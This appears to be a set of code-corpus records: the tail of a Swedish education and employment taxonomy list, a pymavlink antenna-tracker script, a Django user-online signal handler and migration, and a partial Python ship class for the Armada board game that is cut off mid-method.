( {'type': 'sun-education-level-3', 'id': '24uD_BB2_iNj', 'preferred_label': 'Gymnasial utbildning, studieförberedande, ej examen, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, ej examen, 3 år', 'concept_id': '24uD_BB2_iNj', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'quGU_7iM_NmM', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, ej examen, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, ej examen, 3 år', 'concept_id': 'quGU_7iM_NmM', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'b69Q_2ZV_Wmf', 'preferred_label': 'Gymnasial utbildning, studieförberedande, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, 3 år', 'concept_id': 'b69Q_2ZV_Wmf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'mLC7_n2W_KzP', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, 3 år', 'concept_id': 'mLC7_n2W_KzP', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'B1Mh_UAh_mKJ', 'preferred_label': 'Övrig eftergymnasial utbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig eftergymnasial utbildning, kortare än 2 år', 'concept_id': 'B1Mh_UAh_mKJ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'q8Mm_HQR_FNu', 'preferred_label': 'Högskoleutbildning, minst 30 högskolepoäng, ej examen, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, minst 30 högskolepoäng, ej examen, kortare än 2 år', 'concept_id': 'q8Mm_HQR_FNu', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'qrw9_w7a_aaA', 'preferred_label': 'Gymnasial påbyggnadsutbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial påbyggnadsutbildning, kortare än 2 år', 'concept_id': 'qrw9_w7a_aaA', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'qc85_uPq_tp1', 'preferred_label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, kortare än 2 år', 'concept_id': 'qc85_uPq_tp1', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'oroB_8GN_Fe5', 'preferred_label': 'Högskoleutbildning, yrkesinriktad, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, yrkesinriktad, kortare än 2 år', 'concept_id': 'oroB_8GN_Fe5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'awNi_fMS_NKM', 'preferred_label': 'Övrig eftergymnasial utbildning, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig eftergymnasial utbildning, 2 år', 'concept_id': 'awNi_fMS_NKM', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'xrpD_CxF_DUA', 'preferred_label': 'Högskoleutbildning, 120 högskolepoäng, ej examen, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, 120 högskolepoäng, ej examen, 2 år', 'concept_id': 'xrpD_CxF_DUA', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'CSRP_pA2_nFg', 'preferred_label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 2 år', 'concept_id': 'CSRP_pA2_nFg', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'rqLj_s2C_LTJ', 'preferred_label': 'Högskoleutbildning, generell, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, generell, 2 år', 'concept_id': 'rqLj_s2C_LTJ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'zdKB_pTL_HMS', 'preferred_label': 'Högskoleutbildning, yrkesinriktad, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, yrkesinriktad, 2 år', 'concept_id': 'zdKB_pTL_HMS', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'rEsJ_SeR_PeH', 'preferred_label': 'Övrig eftergymnasial utbildning, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig eftergymnasial utbildning, 3 år', 'concept_id': 'rEsJ_SeR_PeH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '6oeu_fV9_XGd', 'preferred_label': 'Högskoleutbildning, minst 180 högskolepoäng, ej examen, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, minst 180 högskolepoäng, ej examen, 3 år', 'concept_id': '6oeu_fV9_XGd', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'Dxdt_jZu_Je3', 'preferred_label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 3 år', 'concept_id': 'Dxdt_jZu_Je3', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'u9Qr_2wJ_nVu', 'preferred_label': 'Högskoleutbildning, generell, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, generell, 3 år', 'concept_id': 'u9Qr_2wJ_nVu', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '9soG_8dX_jNa', 'preferred_label': 'Högskoleutbildning, yrkesinriktad, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, yrkesinriktad, 3 år', 'concept_id': '9soG_8dX_jNa', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'gbpT_d3p_KJf', 'preferred_label': 'Övrig eftergymnasial utbildning, 4 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig eftergymnasial utbildning, 4 år', 'concept_id': 'gbpT_d3p_KJf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'kDKD_HRg_vJ9', 'preferred_label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 4 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 4 år', 'concept_id': 'kDKD_HRg_vJ9', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'P5XD_6Qj_hEk', 'preferred_label': 'Högskoleutbildning, generell, 4 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, generell, 4 år', 'concept_id': 'P5XD_6Qj_hEk', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'HPPA_wKg_Zpp', 'preferred_label': 'Högskoleutbildning, yrkesinriktad, 4 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, yrkesinriktad, 4 år', 'concept_id': 'HPPA_wKg_Zpp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '8tej_hpa_8CH', 'preferred_label': 'Övrig eftergymnasial utbildning, 5 år eller längre', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig eftergymnasial utbildning, 5 år eller längre', 'concept_id': '8tej_hpa_8CH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'iy5K_qmx_bco', 'preferred_label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 5 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Eftergymnasial utbildning, ej vid universitet och högskola, yrkesinriktad, 5 år', 'concept_id': 'iy5K_qmx_bco', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'mJj4_3Dz_V2z', 'preferred_label': 'Högskoleutbildning, generell, 5 år eller längre', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, generell, 5 år eller längre', 'concept_id': 'mJj4_3Dz_V2z', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '9wiU_o3Z_BfD', 'preferred_label': 'Högskoleutbildning, yrkesinriktad, 5 år eller längre', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Högskoleutbildning, yrkesinriktad, 5 år eller längre', 'concept_id': '9wiU_o3Z_BfD', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'kfJY_KdG_Bmi', 'preferred_label': 'Övrig forskarutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig forskarutbildning', 'concept_id': 'kfJY_KdG_Bmi', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'jP4Q_5Co_vWN', 'preferred_label': 'Licentiatutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Licentiatutbildning', 'concept_id': 'jP4Q_5Co_vWN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'FAhQ_vze_BYQ', 'preferred_label': 'Doktorsutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Doktorsutbildning', 'concept_id': 'FAhQ_vze_BYQ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'employment-duration', 'id': 'a7uU_j21_mkL', 'preferred_label': 'Tills vidare', 'deprecated_legacy_id': '1'},
'employment-duration', {'legacy_ams_taxonomy_id': '1', 'type': 'employment-duration', 'label': 'Tills vidare', 'concept_id': 'a7uU_j21_mkL', 'legacy_ams_taxonomy_num_id': 1}),
( {'type': 'employment-duration', 'id': '9RGe_UxD_FZw', 'preferred_label': '12 månader - upp till 2 år', 'deprecated_legacy_id': '9'},
'employment-duration', {'legacy_ams_taxonomy_id': '9', 'type': 'employment-duration', 'label': '12 månader - upp till 2 år', 'concept_id': '9RGe_UxD_FZw', 'legacy_ams_taxonomy_num_id': 9}),
( {'type': 'employment-duration', 'id': 'gJRb_akA_95y', 'preferred_label': '6 månader – upp till 12 månader', 'deprecated_legacy_id': '0'},
'employment-duration', {'legacy_ams_taxonomy_id': '0', 'type': 'employment-duration', 'label': '6 månader – upp till 12 månader', 'concept_id': 'gJRb_akA_95y', 'legacy_ams_taxonomy_num_id': 0}),
( {'type': 'employment-duration', 'id': 'Xj7x_7yZ_jEn', 'preferred_label': '3 månader – upp till 6 månader', 'deprecated_legacy_id': '3'},
'employment-duration', {'legacy_ams_taxonomy_id': '3', 'type': 'employment-duration', 'label': '3 månader – upp till 6 månader', 'concept_id': 'Xj7x_7yZ_jEn', 'legacy_ams_taxonomy_num_id': 3}),
( {'type': 'employment-duration', 'id': 'Sy9J_aRd_ALx', 'preferred_label': '11 dagar - upp till 3 månader', 'deprecated_legacy_id': '7'},
'employment-duration', {'legacy_ams_taxonomy_id': '7', 'type': 'employment-duration', 'label': '11 dagar - upp till 3 månader', 'concept_id': 'Sy9J_aRd_ALx', 'legacy_ams_taxonomy_num_id': 7}),
( {'type': 'employment-duration', 'id': 'cAQ8_TpB_Tdv', 'preferred_label': 'Upp till 10 dagar', 'deprecated_legacy_id': '8'},
'employment-duration', {'legacy_ams_taxonomy_id': '8', 'type': 'employment-duration', 'label': 'Upp till 10 dagar', 'concept_id': 'cAQ8_TpB_Tdv', 'legacy_ams_taxonomy_num_id': 8}),
] | 1.242188 | 1 |
mavlink_comm.py | RichardAntalik/mavlink-antena-tracker | 0 | 12768781 | <filename>mavlink_comm.py
#
# Comm stuff
# This assumes arduino driving motors, servos, steam engines, pistons or whatever.
#
import serial
import struct
import serial.tools.list_ports
ports = serial.tools.list_ports.comports()
for port, desc, hwid in sorted(ports):
print("{}: {} [{}]".format(port, desc, hwid))
break
ser = serial.Serial(port, 9600)
#
# Geometry stuff
#
from geographiclib.geodesic import Geodesic
import math
def get_bearing(lat1, long1, lat2, long2):
return Geodesic.WGS84.Inverse(lat1, long1, lat2, long2)['azi1']
def get_distance(lat1, long1, lat2, long2):
return Geodesic.WGS84.Inverse(lat1, long1, lat2, long2)['s12']
# Shut up, earth is a doughnut... A hollow doughnut.
def get_elevation_angle(distance, height):
if distance == 0 or height == 0:
return 0
diagonal = math.sqrt(distance ** 2 + height ** 2)
return math.degrees(math.acos((distance ** 2 + diagonal ** 2 - height ** 2) / (2 * diagonal * distance)))
#
# Mavlink stuff
#
import time
from pymavlink import mavutil
# This sucks... there is no docs on string format, no descriptive exceptions, nothing...
master = mavutil.mavlink_connection('tcp:192.168.1.1:14550')
# Local proxy, for debugging
# master = mavutil.mavlink_connection('udpin:localhost:6666')
# Make sure the connection is valid
master.wait_heartbeat()
home_lon = 0
home_lat = 0
home_alt = 0 # always will be, relative alt is available.
vehicle_lon = 0
vehicle_lat = 0
vehicle_alt = 0
home_pos_valid = False
vehicle_pos_valid = False
bearing = 0
elevation_angle = 0
while True:
#print("getting msg")
try:
message = master.recv_msg().to_dict()
#print("got msg")
except:
#print("no msg")
message = None
if message and message['mavpackettype'] == 'HOME_POSITION':
home_lon = int(message['longitude']) / 10000000
home_lat = int(message['latitude']) / 10000000
if home_lon != 0 and home_lat != 0:
home_pos_valid = True
# print('Home - lon:', home_lon, ' lat:', home_lat)
if message and message['mavpackettype'] == 'GLOBAL_POSITION_INT':
vehicle_lon = int(message['lon']) / 10000000
vehicle_lat = int(message['lat']) / 10000000
vehicle_alt = int(message['relative_alt']) / 1000
if vehicle_lon != 0 and vehicle_lat != 0:
vehicle_pos_valid = True
# print('Vehicle - lon:', vehicle_lon, ' lat:', vehicle_lat, ' alt:', vehicle_alt)
if home_pos_valid and vehicle_pos_valid:
bearing = get_bearing(home_lat, home_lon, vehicle_lat, vehicle_lon)
distance = get_distance(home_lat, home_lon, vehicle_lat, vehicle_lon)
elevation_angle = get_elevation_angle(distance, vehicle_alt)
print('Bearing: ', bearing, ' elevation angle: ', elevation_angle, ' distance: ', distance)
ser.write(struct.pack("<ff", bearing, elevation_angle))
#print("serial comm done")
#while True:
# print(ser.readline())
# Somehow sleep causes stream to lag extremely. even small sleep times do this... dunno why...
#time.sleep(0.0001)
| 2.546875 | 3 |
messenger_channels/signals/user_signals.py | ThePokerFaCcCe/messenger | 0 | 12768782 | from django.dispatch import receiver
from django.contrib.auth import get_user_model
from messenger_channels.querysets import get_pvchat_ids_cached
from user.signals import user_online
from user.serializers import UserLastSeenSerializer
from messenger_channels.utils import send_event
User = get_user_model()
@receiver(user_online, sender=User)
def send_user_online_to_channels(sender, instance, **_):
pv_ids = get_pvchat_ids_cached(instance.pk)
for pv_id in pv_ids:
send_event(
group_name=pv_id,
event_title="user_online",
event_type='send_online',
user=UserLastSeenSerializer(instance).data,
)
| 1.984375 | 2 |
main_app/migrations/0004_profile_about_me.py | vidhishah03/Rescue | 0 | 12768783 | # Generated by Django 3.1.1 on 2021-03-24 16:44
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main_app', '0003_auto_20210324_2124'),
]
operations = [
migrations.AddField(
model_name='profile',
name='about_me',
field=models.TextField(blank=True, default='', max_length=500),
),
]
| 1.71875 | 2 |
ship.py | bfirner/armada-player-demo | 0 | 12768784 | #
# Copyright <NAME>, 2019-2020
#
# Ship class and supporting classes
from collections import OrderedDict
from enum import Enum
import torch
from dice import ArmadaDice
from game_constants import (
ArmadaDimensions,
ArmadaTypes
)
class UpgradeType(Enum):
commander = 1
officer = 2
weapons_team = 3
support_team = 4
offensive_retrofit = 5
defensive_retrofit = 6
turbolasers = 7
ion_cannons = 8
ordnance = 9
fleet_support = 10
experimental_retrofit = 11
boarding_team = 12
title = 13
class Armament:
def __init__(self, redCount, blueCount, blackCount):
self.red = redCount
self.blue = blueCount
self.black = blackCount
class ShipType:
def __init__(self, name, attributes):
self.name = name
self.attributes = attributes
class Ship:
def __init__(self, name, player_number, template=None, upgrades=None, encoding=None, device=None):
"""Contsruct a specific instance of a ship.
Args:
name (str) : Name for this vessel.
player_number (int) : The player who controls this ship.
template (ShipType) : Ship template to copy.
upgrades (table str->str) : Upgrades to equip.
encoding (torch.Tensor) : An existing encoding to copy (if template and upgrades
are None)
device (str) : Default Tensor type ('cuda' or 'cpu'). Automatic if None.
"""
if (template is None or upgrades is None) and encoding is None:
raise RuntimeError("Ship requires either template and updrades or encoding.")
self.name = name
if device is None:
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
self.encoding = torch.zeros(Ship.encodeSize()).to(device)
if encoding is not None:
self.encoding.copy_(encoding)
else:
self.encoding.fill_(0.)
# Initialize attributes of this specific ship instance
self.set('player', player_number)
self.set('hull', int(template["Hull"]))
self.set("ship", 0.)
self.set("size", ArmadaDimensions.size_names.index(template['Size'].lower()))
idx, length = Ship.get_index("defense_tokens")
self.encoding[idx:idx + length] = 0.
for ttype in ArmadaTypes.defense_tokens:
tname = "Defense Token {}".format(ttype.capitalize())
token_idx = idx + ArmadaTypes.defense_tokens.index(ttype)
if tname in template:
if 0 == len(template[tname]):
self.encoding[token_idx] = 0
else:
self.encoding[token_idx] = int(template[tname])
# Max shields (current shields will be filled in the reset function)
idx = Ship.get_index("max_shields")[0]
for zone in ['left', 'right', 'front', 'rear']:
name = "Shields {}".format(zone.capitalize())
self.encoding[idx + ArmadaTypes.hull_zones.index(zone)] = int(template[name])
if 'Huge' == template['Size']:
for zone in ['left-auxiliary', 'right-auxiliary']:
name = "Shields {} {}".format(zone.capitalize())
self.encoding[idx + ArmadaTypes.hull_zones.index(zone)] = int(template[name])
# Presence of hull zones/firing arcs
idx, length = Ship.get_index("hull_zones")
self.encoding[idx:idx + length] = 0.
# Set the hull zones to indicate which are present
idx = Ship.get_index("hull_zones")[0]
for zone in ['left', 'right', 'front', 'rear']:
self.encoding[idx + ArmadaTypes.hull_zones.index(zone)] = 1.
if 'Huge' == template['Size']:
for zone in ['left-auxiliary', 'right-auxiliary']:
self.encoding[idx + ArmadaTypes.hull_zones.index(zone)] = 1.
# Initialize the armaments
idx = Ship.get_index("dice")[0]
for i, zone in enumerate(['left', 'right', 'front', 'rear']):
for j, color in enumerate(ArmadaDice.die_colors):
name = "Armament {} {}".format(zone.capitalize(), color.capitalize())
hull_offset = ArmadaTypes.hull_zones.index(zone)
if 0 < len(template[name]):
number = int(template[name])
else:
number = 0
self.encoding[idx + hull_offset * len(ArmadaDice.die_colors) + j] = number
if 'Huge' == template['Size']:
for i, zone in enumerate(['left-auxiliary', 'right-auxiliary']):
for j, color in enumerate(ArmadaDice.die_colors):
name = "Armament {} {}".format(zone.capitalize(), color.capitalize())
hull_offset = ArmadaTypes.hull_zones.index(zone)
number = int(template[name])
self.encoding[idx + hull_offset * len(ArmadaDice.die_colors) + j] = number
self.reset()
# TODO Check for legality and actually handle
self.width, self.height = ArmadaDimensions.ship_bases_feet[
ArmadaDimensions.size_names[int(self.get('size'))]]
self.upgrades = upgrades
@staticmethod
def _initialize_encoding():
"""Initialize the _enc_index and _enc_len variables."""
Ship._enc_index = OrderedDict()
Ship._enc_len = OrderedDict()
def addEntry(name, length, cur_idx):
Ship._enc_index[name] = cur_idx
Ship._enc_len[name] = length
return Ship._enc_index[name] + Ship._enc_len[name]
cur_idx = addEntry(name='player', length=1, cur_idx=0)
cur_idx = addEntry(name='hull', length=1, cur_idx=cur_idx)
cur_idx = addEntry(name='damage', length=1, cur_idx=cur_idx)
# TODO Face up damage card effects
cur_idx = addEntry(name='speed', length=1, cur_idx=cur_idx)
cur_idx = addEntry(name='ship', length=1, cur_idx=cur_idx)
cur_idx = addEntry(name='size', length=1, cur_idx=cur_idx)
# Defense tokens and state belong here, whether the token has been spent during this
# attack step is stored in the attack state
cur_idx = addEntry(name='defense_tokens', length=len(ArmadaTypes.defense_tokens), cur_idx=cur_idx)
cur_idx = addEntry(name='green_defense_tokens', length=len(ArmadaTypes.defense_tokens), cur_idx=cur_idx)
cur_idx = addEntry(name='red_defense_tokens', length=len(ArmadaTypes.defense_tokens), cur_idx=cur_idx)
cur_idx = addEntry(name='max_shields', length=len(ArmadaTypes.hull_zones), cur_idx=cur_idx)
cur_idx = addEntry(name='shields', length=len(ArmadaTypes.hull_zones), cur_idx=cur_idx)
# Presence of particular hull zones
cur_idx = addEntry(name='hull_zones', length=len(ArmadaTypes.hull_zones), cur_idx=cur_idx)
# Armament for each zone
cur_idx = addEntry(
name='dice',
length=len(ArmadaTypes.hull_zones) * len(ArmadaDice.die_colors), cur_idx=cur_idx)
# TODO Line of sight marker locations and firing arc locations
# TODO Upgrades
# TODO Ignition arc
cur_idx = addEntry(name='commands', length=ArmadaTypes.max_command_dials, cur_idx=cur_idx)
# Location is a pair of x and y coordinates in feet (since that is the range ruler size).
cur_idx = addEntry(name='location', length=2, cur_idx=cur_idx)
# The heading is the clockwise rotation of the ship in radians
cur_idx = addEntry(name='heading', length=1, cur_idx=cur_idx)
@staticmethod
def encodeSize():
"""Get the size of the ship encoding.
Returns:
int: Size of the ship encoding (number of Tensor elements)
"""
# Programmatically initialize the index lookup if it doesn't exist
if not hasattr(Ship, '_enc_index'):
Ship._initialize_encoding()
last_key = list(Ship._enc_index.keys())[-1]
size = Ship._enc_index[last_key] + Ship._enc_len[last_key]
return size
@staticmethod
def get_index(data_name):
"""Get the index of a data element.
Arguments:
data_name(str): Name of the data element.
Returns:
(int, int): Tuple of the beginning of the data and the length.
"""
# Programmatically initialize the index lookup if it doesn't exist
if not hasattr(Ship, '_enc_index'):
Ship._initialize_encoding()
if data_name not in Ship._enc_index:
raise RuntimeError("Ship has no attribute named {}".format(data_name))
return (Ship._enc_index[data_name], Ship._enc_len[data_name])
def base_size(self):
"""Get the ship width and length.
Returns:
tuple(int, int): width and length
"""
index = self.encoding[Ship._enc_index['size']]
return ArmadaDimensions.ship_bases[ArmadaDimensions.size_names[index]]
def token_count(self, index):
"""Get the number of green and red tokens at the given index.
The index corresponds to a particular type of token as defined in
ArmadaTypes.defense_tokens.
Returns:
tuple(int, int): The number of green and red tokens.
"""
green_idx = Ship._enc_index["green_defense_tokens"]
red_idx = Ship._enc_index["red_defense_tokens"]
return self.encoding[green_idx + index], self.encoding[red_idx + index]
def ready_defense_tokens(self):
"""Replace all red tokens with green versions."""
with torch.no_grad():
# Add the red tokens to the green tokens and set red tokens to 0
green_idx = Ship._enc_index["green_defense_tokens"]
red_idx = Ship._enc_index["red_defense_tokens"]
token_len = Ship._enc_len['green_defense_tokens']
self.encoding[green_idx:green_idx + token_len] += self.encoding[red_idx:red_idx + token_len]
self.encoding[red_idx:red_idx + src_len] = 0.
def spend_token(self, token_type, color_type):
"""Spend a token of the given type and color.
Args:
token_type (str): Token type to spend.
color_type (int): 0 for green, 1 for red
"""
red_idx = Ship._enc_index["red_defense_tokens"]
type_offset = ArmadaTypes.defense_tokens.index(token_type)
if 0 == color_type:
green_idx = Ship._enc_index["green_defense_tokens"]
self.encoding[green_idx + type_offset] -= 1
self.encoding[red_idx + type_offset] += 1
else:
self.encoding[red_idx + type_offset] -= 1
def ready_upgrade_cards(self):
"""Unexhaust upgrade cards."""
# Not implemented yet
pass
def adjacent_zones(self, zone):
"""Return hull zones adjacent to the given zone."""
index = int(self.encoding[Ship._enc_index['size']].item())
size = ArmadaDimensions.size_names[index]
if size == 'huge':
if zone not in ArmadaTypes.adjacent_huge_hull_zones:
raise RuntimeError("Unrecognized hull zone {}".format(zone))
return ArmadaTypes.adjacent_huge_hull_zones[zone]
else:
if zone not in ArmadaTypes.adjacent_hull_zones:
raise RuntimeError("Unrecognized hull zone {}".format(zone))
return ArmadaTypes.adjacent_hull_zones[zone]
def get(self, name):
"""Get a value from the encoding.
Arguments:
name (str): Name of the encoding field.
Returns:
value (float): The value of the encoding with the given name.
"""
index, length = Ship.get_index(name)
if 1 == length:
return self.encoding[index].item()
else:
raise RuntimeError("Use Ship.get_range for multi-element data.")
def get_range(self, name):
"""Get a view of the encoding of a field with multiple elements.
Arguments:
name (str): Name of the encoding field.
Returns:
value (torch.Tensor): The tensor is a view of the original data, clone or convert to a
list to avoid modification.
"""
index, length = Ship.get_index(name)
if 1 == length:
raise RuntimeError("Use Ship.get for single element data.")
else:
return self.encoding[index:index + length]
def set(self, name, value):
"""Set a value in encoding.
Arguments:
name (str): Name of the encoding field.
value (numeric, List, or torch.Tensor): A value assignable to a tensor.
"""
vtype = type(value)
if vtype is not int and vtype is not float and vtype is not list and vtype is not torch.Tensor:
raise RuntimeError('Ship.set does not have data type "{}"'.format(vtype))
index, length = Ship.get_index(name)
if 1 == length:
self.encoding[index] = value
else:
if type(value) is int or type(value) is float:
raise RuntimeError("Attempt to assign a scalar value to an encoding range.")
# Convert a list to a tensor to assign a range
if type(value) is list:
self.encoding[index:index + length] = torch.tensor(value)
else:
self.encoding[index:index + length] = value
def set_range(self, name, value):
"""Set a range in the encoding to a value.
Arguments:
name (str): Name of the encoding field.
value (numeric): Value to set.
"""
vtype = type(value)
if vtype is not int and vtype is not float:
raise RuntimeError('Ship.set_range does not support data type "{}"'.format(vtype))
index, length = Ship.get_index(name)
self.encoding[index:index + length] = value
def reset(self):
"""Resets shields, hull, and defense tokens and initialize values in the encoding."""
self.set("damage", 0.)
self.set("speed", 0.)
self.set_range("commands", 0.)
# Set defense tokens, and shields
# Initialize all tokens as green
self.set('green_defense_tokens', self.get_range('defense_tokens'))
self.set_range('red_defense_tokens', 0.)
self.set('shields', self.get_range('max_shields'))
# Set a location off of the board. Lump each player's ships together.
self.set("location", [-1., self.get('player') * -1.])
self.set("heading", 0.)
def roll(self, zone, distance):
"""
return an attack roll for the given arc at the given range.
Args:
zone (str) : One of front, left, right, and rear
distance (str) : short, medium, or long
Returns an array of colors and faces
"""
colors = []
faces = []
# TODO Extreme range
# Roll red dice at all valid ranges
die_offset = Ship._enc_index['dice']
hull_offset = die_offset + ArmadaTypes.hull_zones.index(zone) * len(ArmadaDice.die_colors)
if distance in ["short", "medium", "long"]:
red_offset = ArmadaDice.die_colors.index("red")
num_dice = int(self.encoding[hull_offset + red_offset].item())
colors = colors + ["red"] * num_dice
# Roll blue dice at all short to medium
if distance in ["short", "medium"]:
blue_offset = ArmadaDice.die_colors.index("blue")
num_dice = int(self.encoding[hull_offset + blue_offset].item())
colors = colors + ["blue"] * num_dice
# Roll black dice at short range
if distance in ["short"]:
black_offset = ArmadaDice.die_colors.index("black")
num_dice = int(self.encoding[hull_offset + black_offset].item())
colors = colors + ["black"] * num_dice
# TODO FIXME Only gathering should happen in the ship, rolling should follow in a different
# area of code
for color in colors:
faces.append(ArmadaDice.random_roll(color))
return colors, faces
def shield_damage(self, zone, amount):
"""
Deal damage to a hull zone but only deplete the shields, don't assign hull damage. Return
